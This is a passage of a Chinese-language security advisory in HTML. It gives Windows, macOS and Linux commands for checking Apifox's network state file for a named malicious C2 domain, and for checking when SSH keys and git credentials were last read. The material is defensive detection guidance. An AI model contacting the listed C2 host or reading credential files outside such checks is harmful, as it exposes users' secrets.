&#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">5.2 方法二：检查网络持久化状态文件</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">Chromium/Electron 应用会记录访问过的服务器属性到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Network Persistent State</span></code><span leaf=""> 文件。如果该文件包含恶意域名，说明曾连接过 C2 服务器。</span></p><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">关键文件路径</span></h4><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">平台</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Network Persistent State 路径</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Windows</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">C:\Users\&lt;用户名&gt;\AppData\Roaming\apifox\Network\Network Persistent State</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">macOS</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/Library/Application Support/apifox/Network/Network Persistent State</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Linux</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.config/apifox/Network/Network Persistent State</span></code></td></tr></tbody></table></p><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Windows 检测命令</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 Network Persistent State 文件中是否包含恶意域名</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Get-Content</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:APPDATA</span></span><span leaf="">\apifox\Network\Network Persistent State&#34;</span></span><span leaf=""> | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Select-String</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;apifox.it.com&#39;</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">结果判断</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 有输出内容 → 🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 无输出 → ✅ 安全</span></p></li></ul><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">macOS 检测命令</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 Network Persistent State 文件中是否包含恶意域名</span></span><span leaf=""><br/></span><span leaf="">grep -a </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;apifox.it.com&#34;</span></span><span leaf=""> ~/Library/Application\ Support/apifox/Network/Network\ Persistent\ State</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">结果判断</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 有输出内容 → 🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 无输出 → ✅ 安全</span></p></li></ul><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Linux 检测命令</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 Network Persistent State 文件中是否包含恶意域名</span></span><span leaf=""><br/></span><span leaf="">grep -a </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;apifox.it.com&#34;</span></span><span leaf=""> ~/.config/apifox/Network/Network\ Persistent\ State</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">结果判断</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 有输出内容 → 🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 无输出 → ✅ 安全</span></p></li></ul><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">5.3 方法三：检查 SSH 密钥访问时间（辅助判断）</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">恶意代码必须读取私钥文件才能窃取，可通过最后访问时间进行辅助判断。</span></p><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Windows</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 查看私钥文件访问时间</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Get-ChildItem</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Path</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:USERPROFILE</span></span><span leaf="">\.ssh&#34;</span></span><span leaf=""> | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Select-Object</span></span><span leaf=""> Name, LastAccessTime</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 .git-credentials</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Get-Item</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Path</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span 